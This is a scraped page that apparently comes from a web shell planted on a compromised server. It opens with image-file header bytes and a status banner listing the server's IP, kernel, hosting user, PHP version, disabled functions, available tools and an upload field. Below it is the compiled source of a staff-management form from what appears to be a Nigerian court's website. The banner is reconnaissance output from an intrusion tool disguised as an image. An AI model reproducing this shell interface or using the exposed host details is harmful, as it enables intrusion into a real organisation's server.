ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.46.181 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> Staff Management <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <form method="POST" action="<?php echo e(url('/update-staff-current-state/retrieve')); ?>" target="_blank"> <div class="box-body" style="background:#fff;"> <div class="row"> <div class="col-md-12"> <!--1st col--> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if(session('message')): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button> <strong>Success!</strong> <?php echo e(session('message')); ?> </div> <?php endif; ?> </div> <?php echo e(csrf_field()); ?> <div class="col-md-12"> <h4 class="" style="text-transform:uppercase">Update Staff Current State</h4> <div class="row"> <?php if(Auth::user()->is_global == 1): ?> <div class="col-md-12"> <div class="form-group"> <label>Select Division</label> <select name="divisionID" id="division" class="form-control" style="font-size: 13px;"> <option value="">Select Division</option> <?php $__currentLoopData = $courtDivisions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $divisions): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($divisions->divisionID); ?>" <?php if(old('division') == $divisions->divisionID): ?> selected <?php endif; ?>> <?php echo e($divisions->division); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> <?php else: ?> <div class="col-md-12"> <div class="form-group"> <label>Division</label> <input type="text" class="form-control" id="divisionName" name="divisionName" value="<?php echo e($curDivision->division); ?>" readonly> </div> </div> <input type="hidden" id="division" name="divisionID" value="<?php echo e(Auth::user()->divisionID); ?>"> <?php endif; ?> <div class="col-md-12"> <div class="form-group"> <div> <button type="submit" class="btn btn-success btn-sm pull-right">View Staffs</button> </div> </div> </div> </div> </div> </div> </div><!-- /.col --> </div><!-- /.row --> </form> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script type="text/javascript"> $(document).ready(function() { $("#court").on('change', function(e) { e.preventDefault(); var id = $(this).val(); //alert(id); $token = $("input[name='_token']").val(); $.ajax({ headers: { 'X-CSRF-TOKEN': $token }, url: murl + '/session/court', type: "post", data: { 'courtID': id }, success: function(data) { location.reload(true); //console.log(data); } }); }); }); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/staffCurrentState/index.blade.php ENDPATH**/ ?>